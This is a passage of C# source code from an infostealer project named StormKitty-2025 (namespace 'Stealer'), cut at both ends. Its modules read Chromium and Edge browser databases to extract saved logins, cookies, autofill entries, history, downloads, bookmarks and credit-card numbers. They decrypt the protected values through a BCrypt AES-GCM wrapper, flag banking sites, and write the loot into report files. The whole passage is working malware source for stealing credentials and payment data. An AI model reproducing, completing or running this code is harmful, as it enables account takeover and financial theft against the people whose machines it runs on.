19 | else try { Filemanager.RecursiveDelete(PasswordsStoreDirectory); } catch { Console.WriteLine("Failed recursive remove directory"); };
20 |
21 | if (Report.CreateReport(PasswordsStoreDirectory))
22 | return PasswordsStoreDirectory;
23 | return "";
24 | }
25 |
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/BrowserUtils.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Collections.Generic;
4 | using System.Text.RegularExpressions;
5 |
6 | namespace Stealer
7 | {
8 | internal sealed class cBrowserUtils
9 | {
10 | private static string FormatPassword(Password pPassword)
11 | {
12 | return String.Format("Url: {0}\nUsername: {1}\nPassword: {2}\n\n", pPassword.sUrl, pPassword.sUsername, pPassword.sPassword);
13 | }
14 | private static string FormatCreditCard(CreditCard cCard)
15 | {
16 | return String.Format("Type: {0}\nNumber: {1}\nExp: {2}\nHolder: {3}\n\n", Banking.DetectCreditCardType(cCard.sNumber), cCard.sNumber, cCard.sExpMonth + "/" + cCard.sExpYear, cCard.sName);
17 | }
18 | private static string FormatCookie(Cookie cCookie)
19 | {
20 | return String.Format("{0}\tTRUE\t{1}\tFALSE\t{2}\t{3}\t{4}\r\n", cCookie.sHostKey, cCookie.sPath, cCookie.sExpiresUtc, cCookie.sName, cCookie.sValue);
21 | }
22 | private static string FormatAutoFill(AutoFill aFill)
23 | {
24 | return String.Format("{0}\t\n{1}\t\n\n", aFill.sName, aFill.sValue);
25 | }
26 | private static string FormatHistory(Site sSite)
27 | {
28 | return String.Format("### {0} ### ({1}) {2}\n", sSite.sTitle, sSite.sUrl, sSite.iCount);
29 | }
30 | private static string FormatBookmark(Bookmark bBookmark)
31 | {
32 | if (!string.IsNullOrEmpty(bBookmark.sUrl))
33 | return String.Format("### {0} ### ({1})\n", bBookmark.sTitle, bBookmark.sUrl);
34 | else
35 | return String.Format("### {0} ###\n", bBookmark.sTitle);
36 | }
37 |
38 | public static bool WriteCookies(List cCookies, string sFile)
39 | {
40 | try
41 | {
42 | foreach (Cookie cCookie in cCookies)
43 | File.AppendAllText(sFile, FormatCookie(cCookie));
44 |
45 | return true;
46 | }
47 | catch { return false; }
48 | }
49 |
50 | public static bool WriteAutoFill(List aFills, string sFile)
51 | {
52 | try
53 | {
54 | foreach (AutoFill aFill in aFills)
55 | File.AppendAllText(sFile, FormatAutoFill(aFill));
56 |
57 | return true;
58 | }
59 | catch { return false; }
60 | }
61 |
62 | public static bool WriteHistory(List sHistory, string sFile)
63 | {
64 | try
65 | {
66 | foreach (Site sSite in sHistory)
67 | File.AppendAllText(sFile, FormatHistory(sSite));
68 |
69 | return true;
70 | }
71 | catch { return false; }
72 | }
73 |
74 | public static bool WriteBookmarks(List bBookmarks, string sFile)
75 | {
76 | try
77 | {
78 | foreach (Bookmark bBookmark in bBookmarks)
79 | File.AppendAllText(sFile, FormatBookmark(bBookmark));
80 |
81 | return true;
82 | }
83 | catch { return false; }
84 | }
85 |
86 | public static bool WritePasswords(List pPasswords, string sFile)
87 | {
88 | try
89 | {
90 | foreach (Password pPassword in pPasswords)
91 | {
92 |
93 | if (pPassword.sUsername == "" || pPassword.sPassword == "")
94 | continue;
95 | File.AppendAllText(sFile, FormatPassword(pPassword));
96 | }
97 |
98 | return true;
99 | }
100 | catch { return false; }
101 | }
102 |
103 | public static bool WriteCreditCards(List cCC, string sFile)
104 | {
105 | try
106 | {
107 | foreach (CreditCard aCC in cCC)
108 | File.AppendAllText(sFile, FormatCreditCard(aCC));
109 |
110 | return true;
111 | }
112 | catch { return false; }
113 | }
114 | }
115 | }
116 |
117 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Chromium/AesGcm.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Класс для расшифроки AES-GCM через BCrypt.
3 | Необходим для новых хромиумов.
4 | */
5 |
6 | using System;
7 | using System.Text;
8 | using System.Runtime.InteropServices;
9 | using System.Security.Cryptography;
10 |
11 | namespace Stealer
12 | {
13 |
14 | class cAesGcm
15 | {
16 | public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
17 | {
18 | IntPtr hAlg = OpenAlgorithmProvider(cBCrypt.BCRYPT_AES_ALGORITHM, cBCrypt.MS_PRIMITIVE_PROVIDER, cBCrypt.BCRYPT_CHAIN_MODE_GCM);
19 | IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey);
20 |
21 | byte[] plainText;
22 |
23 | var authInfo = new cBCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);
24 | using (authInfo)
25 | {
26 | byte[] ivData = new byte[MaxAuthTagSize(hAlg)];
27 |
28 | int plainTextSize = 0;
29 |
30 | uint status = cBCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0);
31 |
32 | if (status != cBCrypt.ERROR_SUCCESS)
33 | throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status));
34 |
35 | plainText = new byte[plainTextSize];
36 |
37 | status = cBCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0);
38 |
39 | if (status == cBCrypt.STATUS_AUTH_TAG_MISMATCH)
40 | throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch");
41 |
42 | if (status != cBCrypt.ERROR_SUCCESS)
43 | throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status));
44 | }
45 |
46 | cBCrypt.BCryptDestroyKey(hKey);
47 | Marshal.FreeHGlobal(keyDataBuffer);
48 | cBCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0);
49 |
50 | return plainText;
51 | }
52 |
53 | private int MaxAuthTagSize(IntPtr hAlg)
54 | {
55 | byte[] tagLengthsValue = GetProperty(hAlg, cBCrypt.BCRYPT_AUTH_TAG_LENGTH);
56 |
57 | return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0);
58 | }
59 |
60 | private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)
61 | {
62 | IntPtr hAlg = IntPtr.Zero;
63 |
64 | uint status = cBCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0);
65 |
66 | if (status != cBCrypt.ERROR_SUCCESS)
67 | throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status));
68 |
69 | byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode);
70 | status = cBCrypt.BCryptSetAlgorithmProperty(hAlg, cBCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);
71 |
72 | if (status != cBCrypt.ERROR_SUCCESS)
73 | throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status));
74 |
75 | return hAlg;
76 | }
77 |
78 | private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)
79 | {
80 | byte[] objLength = GetProperty(hAlg, cBCrypt.BCRYPT_OBJECT_LENGTH);
81 |
82 | int keyDataSize = BitConverter.ToInt32(objLength, 0);
83 |
84 | IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize);
85 |
86 | byte[] keyBlob = Concat(cBCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);
87 |
88 | uint status = cBCrypt.BCryptImportKey(hAlg, IntPtr.Zero, cBCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);
89 |
90 | if (status != cBCrypt.ERROR_SUCCESS)
91 | throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status));
92 |
93 | return keyDataBuffer;
94 | }
95 |
96 | private byte[] GetProperty(IntPtr hAlg, string name)
97 | {
98 | int size = 0;
99 |
100 | uint status = cBCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0);
101 |
102 | if (status != cBCrypt.ERROR_SUCCESS)
103 | throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status));
104 |
105 | byte[] value = new byte[size];
106 |
107 | status = cBCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0);
108 |
109 | if (status != cBCrypt.ERROR_SUCCESS)
110 | throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status));
111 |
112 | return value;
113 | }
114 |
115 | public byte[] Concat(params byte[][] arrays)
116 | {
117 | int len = 0;
118 |
119 | foreach (byte[] array in arrays)
120 | {
121 | if (array == null)
122 | continue;
123 | len += array.Length;
124 | }
125 |
126 | byte[] result = new byte[len - 1 + 1];
127 | int offset = 0;
128 |
129 | foreach (byte[] array in arrays)
130 | {
131 | if (array == null)
132 | continue;
133 | Buffer.BlockCopy(array, 0, result, offset, array.Length);
134 | offset += array.Length;
135 | }
136 |
137 | return result;
138 | }
139 | }
140 | }
141 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Chromium/AutoFill.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Collections.Generic;
3 |
4 | namespace Stealer.Chromium
5 | {
6 | internal sealed class Autofill
7 | {
8 | ///
9 | /// Get Autofill values from chromium based browsers
10 | ///
11 | ///
12 | /// List with autofill
13 | public static List Get(string sWebData)
14 | {
15 | try
16 | {
17 | List acAutoFillData = new List();
18 |
19 | // Read data from table
20 | SQLite sSQLite = SqlReader.ReadTable(sWebData, "autofill");
21 | if (sSQLite == null)
22 | return acAutoFillData;
23 |
24 | for (int i = 0; i < sSQLite.GetRowCount(); i++)
25 | {
26 |
27 | AutoFill aFill = new AutoFill();
28 |
29 | aFill.sName = Crypto.GetUTF8(sSQLite.GetValue(i, 0));
30 | aFill.sValue = Crypto.GetUTF8(sSQLite.GetValue(i, 1));
31 |
32 | Counter.AutoFill++;
33 | acAutoFillData.Add(aFill);
34 |
35 | }
36 |
37 | return acAutoFillData;
38 | }
39 | catch { return new List(); }
40 | }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Chromium/BCrypt.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Класс для работы с BCrypt.Нужен для AES-GCM.
3 | */
4 |
5 |
6 | using System;
7 | using System.Runtime.InteropServices;
8 |
9 | namespace Stealer
10 | {
11 | public static class cBCrypt
12 | {
13 | public const uint ERROR_SUCCESS = 0x00000000;
14 | public const uint BCRYPT_PAD_PSS = 8;
15 | public const uint BCRYPT_PAD_OAEP = 4;
16 |
17 | public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b);
18 |
19 | public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength";
20 | public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
21 | public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength";
22 | public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode";
23 | public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";
24 | public static readonly string BCRYPT_AES_ALGORITHM = "AES";
25 |
26 | public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";
27 |
28 | public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001;
29 | public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001;
30 |
31 | public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002;
32 |
33 | [StructLayout(LayoutKind.Sequential)]
34 | public struct BCRYPT_PSS_PADDING_INFO
35 | {
36 | public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt)
37 | {
38 | this.pszAlgId = pszAlgId;
39 | this.cbSalt = cbSalt;
40 | }
41 |
42 | [MarshalAs(UnmanagedType.LPWStr)]
43 | public string pszAlgId;
44 | public int cbSalt;
45 | }
46 |
47 | [StructLayout(LayoutKind.Sequential)]
48 | public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable
49 | {
50 | public int cbSize;
51 | public int dwInfoVersion;
52 | public IntPtr pbNonce;
53 | public int cbNonce;
54 | public IntPtr pbAuthData;
55 | public int cbAuthData;
56 | public IntPtr pbTag;
57 | public int cbTag;
58 | public IntPtr pbMacContext;
59 | public int cbMacContext;
60 | public int cbAAD;
61 | public long cbData;
62 | public int dwFlags;
63 |
64 | public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this()
65 | {
66 | dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION;
67 | cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
68 |
69 | if (iv != null)
70 | {
71 | cbNonce = iv.Length;
72 | pbNonce = Marshal.AllocHGlobal(cbNonce);
73 | Marshal.Copy(iv, 0, pbNonce, cbNonce);
74 | }
75 |
76 | if (aad != null)
77 | {
78 | cbAuthData = aad.Length;
79 | pbAuthData = Marshal.AllocHGlobal(cbAuthData);
80 | Marshal.Copy(aad, 0, pbAuthData, cbAuthData);
81 | }
82 |
83 | if (tag != null)
84 | {
85 | cbTag = tag.Length;
86 | pbTag = Marshal.AllocHGlobal(cbTag);
87 | Marshal.Copy(tag, 0, pbTag, cbTag);
88 |
89 | cbMacContext = tag.Length;
90 | pbMacContext = Marshal.AllocHGlobal(cbMacContext);
91 | }
92 | }
93 |
94 | public void Dispose()
95 | {
96 | if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce);
97 | if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag);
98 | if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData);
99 | if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext);
100 | }
101 | }
102 |
103 | [StructLayout(LayoutKind.Sequential)]
104 | public struct BCRYPT_KEY_LENGTHS_STRUCT
105 | {
106 | public int dwMinLength;
107 | public int dwMaxLength;
108 | public int dwIncrement;
109 | }
110 |
111 | [StructLayout(LayoutKind.Sequential)]
112 | public struct BCRYPT_OAEP_PADDING_INFO
113 | {
114 | public BCRYPT_OAEP_PADDING_INFO(string alg)
115 | {
116 | pszAlgId = alg;
117 | pbLabel = IntPtr.Zero;
118 | cbLabel = 0;
119 | }
120 |
121 | [MarshalAs(UnmanagedType.LPWStr)]
122 | public string pszAlgId;
123 | public IntPtr pbLabel;
124 | public int cbLabel;
125 | }
126 |
127 | [DllImport("bcrypt.dll")]
128 | public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm,
129 | [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId,
130 | [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation,
131 | uint dwFlags);
132 |
133 | [DllImport("bcrypt.dll")]
134 | public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags);
135 |
136 | [DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")]
137 | public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags);
138 |
139 | [DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")]
140 | internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);
141 |
142 |
143 | [DllImport("bcrypt.dll")]
144 | public static extern uint BCryptImportKey(IntPtr hAlgorithm,
145 | IntPtr hImportKey,
146 | [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType,
147 | out IntPtr phKey,
148 | IntPtr pbKeyObject,
149 | int cbKeyObject,
150 | byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data)
151 | int cbInput,
152 | uint dwFlags);
153 |
154 | [DllImport("bcrypt.dll")]
155 | public static extern uint BCryptDestroyKey(IntPtr hKey);
156 |
157 | [DllImport("bcrypt.dll")]
158 | public static extern uint BCryptEncrypt(IntPtr hKey,
159 | byte[] pbInput,
160 | int cbInput,
161 | ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
162 | byte[] pbIV, int cbIV,
163 | byte[] pbOutput,
164 | int cbOutput,
165 | ref int pcbResult,
166 | uint dwFlags);
167 |
168 | [DllImport("bcrypt.dll")]
169 | internal static extern uint BCryptDecrypt(IntPtr hKey,
170 | byte[] pbInput,
171 | int cbInput,
172 | ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
173 | byte[] pbIV,
174 | int cbIV,
175 | byte[] pbOutput,
176 | int cbOutput,
177 | ref int pcbResult,
178 | int dwFlags);
179 | }
180 |
181 | }
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Chromium/Bookmarks.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Collections.Generic;
3 | using System.Text.RegularExpressions;
4 |
5 | namespace Stealer.Chromium
6 | {
7 | internal sealed class Parser
8 | {
9 | public static string separator = "\": \"";
10 |
11 | public static string RemoveLatest(string data)
12 | {
13 | return Regex.Split(Regex.Split(data, "\",")[0], "\"")[0];
14 | }
15 |
16 | public static bool DetectTitle(string data)
17 | {
18 | return data.Contains("\"name");
19 | }
20 |
21 | public static string Get(string data, int index)
22 | {
23 | try {
24 | return RemoveLatest(Regex.Split(data, separator)[index]);
25 | } catch (System.IndexOutOfRangeException) {
26 | return "Failed to parse url";
27 | }
28 | }
29 | }
30 |
31 | internal sealed class Bookmarks
32 | {
33 | ///
34 | /// Get bookmarks from chromium based browsers
35 | ///
36 | ///
37 | /// List with bookmarks
38 | public static List Get(string sBookmarks)
39 | {
40 | try
41 | {
42 | List bBookmarks = new List();
43 |
44 |
45 | if (!File.Exists(sBookmarks))
46 | return bBookmarks;
47 |
48 | string data = File.ReadAllText(sBookmarks, System.Text.Encoding.UTF8); // Load file content
49 |
50 | data = Regex.Split(data, " \"bookmark_bar\": {")[1];
51 | data = Regex.Split(data, " \"other\": {")[0];
52 |
53 |
54 | string[] payload = Regex.Split(data, "},");
55 | foreach (string parse in payload)
56 | if (parse.Contains("\"name\": \"") &&
57 | parse.Contains("\"type\": \"url\",") &&
58 | parse.Contains("\"url\": \"http")
59 | )
60 | {
61 | int index = 0;
62 | foreach (string target in Regex.Split(parse, Parser.separator))
63 | {
64 | index++;
65 | Bookmark bBookmark = new Bookmark();
66 | if (Parser.DetectTitle(target))
67 | {
68 | bBookmark.sTitle = Parser.Get(parse, index);
69 | bBookmark.sUrl = Parser.Get(parse, index + 2);
70 |
71 | if (string.IsNullOrEmpty(bBookmark.sTitle))
72 | continue;
73 | if (!string.IsNullOrEmpty(bBookmark.sUrl) && !bBookmark.sUrl.Contains("Failed to parse url"))
74 | {
75 | // Analyze value
76 | Banking.ScanData(bBookmark.sUrl);
77 | Counter.Bookmarks++;
78 | bBookmarks.Add(bBookmark);
79 | }
80 | }
81 |
82 |
83 | }
84 |
85 | }
86 | return bBookmarks;
87 | }
88 | catch { return new List(); }
89 | }
90 |
91 | }
92 | }
93 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Chromium/Cookies.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Collections.Generic;
3 |
4 | namespace Stealer.Chromium
5 | {
6 | internal sealed class Cookies
7 | {
8 | ///
9 | /// Get cookies from chromium based browsers
10 | ///
11 | ///
12 | /// List with cookies
13 | public static List Get(string sCookie)
14 | {
15 | try
16 | {
17 | List lcCookies = new List();
18 |
19 | // Read data from table
20 | SQLite sSQLite = SqlReader.ReadTable(sCookie, "cookies");
21 | if (sSQLite == null)
22 | return lcCookies;
23 |
24 | for (int i = 0; i < sSQLite.GetRowCount(); i++)
25 | {
26 |
27 | Cookie cCookie = new Cookie();
28 |
29 | cCookie.sValue = Crypto.EasyDecrypt(sCookie, sSQLite.GetValue(i, 12));
30 |
31 |
32 | if (cCookie.sValue == "")
33 | cCookie.sValue = sSQLite.GetValue(i, 3);
34 |
35 | cCookie.sHostKey = Crypto.GetUTF8(sSQLite.GetValue(i, 1));
36 | cCookie.sName = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
37 | cCookie.sPath = Crypto.GetUTF8(sSQLite.GetValue(i, 4));
38 | cCookie.sExpiresUtc = Crypto.GetUTF8(sSQLite.GetValue(i, 5));
39 | cCookie.sIsSecure = Crypto.GetUTF8(sSQLite.GetValue(i, 6).ToUpper());
40 |
41 | // Analyze value
42 | Banking.ScanData(cCookie.sHostKey);
43 | Counter.Cookies++;
44 | lcCookies.Add(cCookie);
45 | }
46 |
47 | return lcCookies;
48 | }
49 | catch { return new List(); }
50 | }
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Chromium/CreditCards.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace Stealer.Chromium
4 | {
5 | internal sealed class CreditCards
6 | {
7 | ///
8 | /// Get CreditCards from chromium based browsers
9 | ///
10 | ///
11 | /// List with credit cards
12 | public static List Get(string sWebData)
13 | {
14 | try
15 | {
16 | List lcCC = new List();
17 |
18 | // Read data from table
19 | SQLite sSQLite = SqlReader.ReadTable(sWebData, "credit_cards");
20 | if (sSQLite == null)
21 | return lcCC;
22 |
23 | for (int i = 0; i < sSQLite.GetRowCount(); i++)
24 | {
25 |
26 | CreditCard cCard = new CreditCard();
27 |
28 | cCard.sNumber = Crypto.GetUTF8(Crypto.EasyDecrypt(sWebData, sSQLite.GetValue(i, 4)));
29 | cCard.sExpYear = Crypto.GetUTF8(sSQLite.GetValue(i, 3));
30 | cCard.sExpMonth = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
31 | cCard.sName = Crypto.GetUTF8(sSQLite.GetValue(i, 1));
32 |
33 | Counter.CreditCards++;
34 | lcCC.Add(cCard);
35 | }
36 |
37 | return lcCC;
38 | }
39 | catch { return new List(); }
40 | }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Chromium/Downloads.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace Stealer.Chromium
4 | {
5 | internal sealed class Downloads
6 | {
7 | ///
8 | /// Get Downloads from chromium based browsers
9 | ///
10 | ///
11 | /// List with downloads
12 | public static List Get(string sHistory)
13 | {
14 | try
15 | {
16 | List scDownloads = new List();
17 |
18 | // Read data from table
19 | SQLite sSQLite = SqlReader.ReadTable(sHistory, "downloads");
20 | if (sSQLite == null)
21 | return scDownloads;
22 |
23 | for (int i = 0; i < sSQLite.GetRowCount(); i++)
24 | {
25 | Site sSite = new Site();
26 | sSite.sTitle = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
27 | sSite.sUrl = Crypto.GetUTF8(sSQLite.GetValue(i, 17));
28 |
29 | // Analyze value
30 | Banking.ScanData(sSite.sUrl);
31 | Counter.Downloads++;
32 | scDownloads.Add(sSite);
33 | }
34 |
35 | return scDownloads;
36 | }
37 | catch { return new List(); }
38 | }
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Chromium/History.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace Stealer.Chromium
4 | {
5 | internal sealed class History
6 | {
7 | ///
8 | /// Get History from chromium based browsers
9 | ///
10 | ///
11 | /// List with history
12 | public static List Get(string sHistory)
13 | {
14 | try
15 | {
16 | List scHistory = new List();
17 |
18 | // Read data from table
19 | SQLite sSQLite = SqlReader.ReadTable(sHistory, "urls");
20 | if (sSQLite == null)
21 | return scHistory;
22 |
23 | for (int i = 0; i < sSQLite.GetRowCount(); i++)
24 | {
25 | Site sSite = new Site();
26 | sSite.sTitle = Crypto.GetUTF8(sSQLite.GetValue(i, 1));
27 | sSite.sUrl = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
28 | sSite.iCount = System.Convert.ToInt32(sSQLite.GetValue(i, 3)) + 1;
29 |
30 | // Analyze value
31 | Banking.ScanData(sSite.sUrl);
32 | Counter.History++;
33 | scHistory.Add(sSite);
34 |
35 | }
36 |
37 | return scHistory;
38 | }
39 | catch { return new List(); }
40 | }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Chromium/Passwords.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace Stealer.Chromium
4 | {
5 | internal sealed class Passwords
6 | {
7 | ///
8 | /// Get passwords from chromium based browsers
9 | ///
10 | ///
11 | /// List with passwords
12 | public static List Get(string sLoginData)
13 | {
14 | try
15 | {
16 | List pPasswords = new List();
17 |
18 | // Read data from table
19 | SQLite sSQLite = SqlReader.ReadTable(sLoginData, "logins");
20 | if (sSQLite == null)
21 | return pPasswords;
22 |
23 | for (int i = 0; i < sSQLite.GetRowCount(); i++)
24 | {
25 |
26 | Password pPassword = new Password();
27 |
28 | pPassword.sUrl = Crypto.GetUTF8(sSQLite.GetValue(i, 0));
29 | pPassword.sUsername = Crypto.GetUTF8(sSQLite.GetValue(i, 3));
30 | string sPassword = sSQLite.GetValue(i, 5);
31 |
32 | if (sPassword != null)
33 | {
34 | pPassword.sPassword = Crypto.GetUTF8(Crypto.EasyDecrypt(sLoginData, sPassword));
35 | pPasswords.Add(pPassword);
36 |
37 | // Analyze value
38 | Banking.ScanData(pPassword.sUrl);
39 | Counter.Passwords++;
40 | }
41 | continue;
42 |
43 | }
44 |
45 | return pPasswords;
46 | }
47 | catch { return new List(); }
48 | }
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Edge/AutoFill.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Collections.Generic;
3 |
4 | namespace Stealer.Edge
5 | {
6 | internal sealed class Autofill
7 | {
8 | ///
9 | /// Get Autofill values from edge browser
10 | ///
11 | ///
12 | /// List with autofill
13 | public static List Get(string sWebData)
14 | {
15 | try
16 | {
17 | List acAutoFillData = new List();
18 |
19 | // Read data from table
20 | SQLite sSQLite = SqlReader.ReadTable(sWebData, "autofill");
21 | if (sSQLite == null)
22 | return acAutoFillData;
23 |
24 | for (int i = 0; i < sSQLite.GetRowCount(); i++)
25 | {
26 |
27 | AutoFill aFill = new AutoFill();
28 |
29 | aFill.sName = Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 1));
30 | aFill.sValue = Chromium.Crypto.GetUTF8(Chromium.Crypto.EasyDecrypt(sWebData, sSQLite.GetValue(i, 2)));
31 |
32 | Counter.AutoFill++;
33 | acAutoFillData.Add(aFill);
34 |
35 | }
36 |
37 | return acAutoFillData;
38 | }
39 | catch { return new List(); }
40 | }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Edge/Bookmarks.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Collections.Generic;
3 | using System.Text.RegularExpressions;
4 |
5 | namespace Stealer.Edge
6 | {
7 |
8 | internal sealed class Bookmarks
9 | {
10 | ///
11 | /// Get bookmarks from edge browser
12 | ///
13 | ///
14 | /// List with bookmarks
15 | public static List Get(string sBookmarks)
16 | {
17 | try
18 | {
19 | List bBookmarks = new List();
20 |
21 |
22 | if (!File.Exists(sBookmarks))
23 | return bBookmarks;
24 |
25 | string data = File.ReadAllText(sBookmarks, System.Text.Encoding.UTF8); // Load file content
26 |
27 | data = Regex.Split(data, " \"bookmark_bar\": {")[1];
28 | data = Regex.Split(data, " \"other\": {")[0];
29 |
30 |
31 | string[] payload = Regex.Split(data, "},");
32 | foreach (string parse in payload)
33 | if (parse.Contains("\"name\": \"") &&
34 | parse.Contains("\"type\": \"url\",") &&
35 | parse.Contains("\"url\": \"http")
36 | )
37 | {
38 | int index = 0;
39 | foreach (string target in Regex.Split(parse, Chromium.Parser.separator))
40 | {
41 | index++;
42 | Bookmark bBookmark = new Bookmark();
43 | if (Chromium.Parser.DetectTitle(target))
44 | {
45 | bBookmark.sTitle = Chromium.Parser.Get(parse, index);
46 | bBookmark.sUrl = Chromium.Parser.Get(parse, index + 3);
47 |
48 | if (string.IsNullOrEmpty(bBookmark.sTitle))
49 | continue;
50 | if (!string.IsNullOrEmpty(bBookmark.sUrl) && !bBookmark.sUrl.Contains("Failed to parse url"))
51 | {
52 | // Analyze value
53 | Banking.ScanData(bBookmark.sTitle);
54 | Counter.Bookmarks++;
55 | bBookmarks.Add(bBookmark);
56 | }
57 | }
58 |
59 |
60 | }
61 |
62 | }
63 | return bBookmarks;
64 | }
65 | catch { return new List(); }
66 | }
67 |
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/Modules/Passwords/Targets/Browsers/Edge/CreditCards.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Collections.Generic;
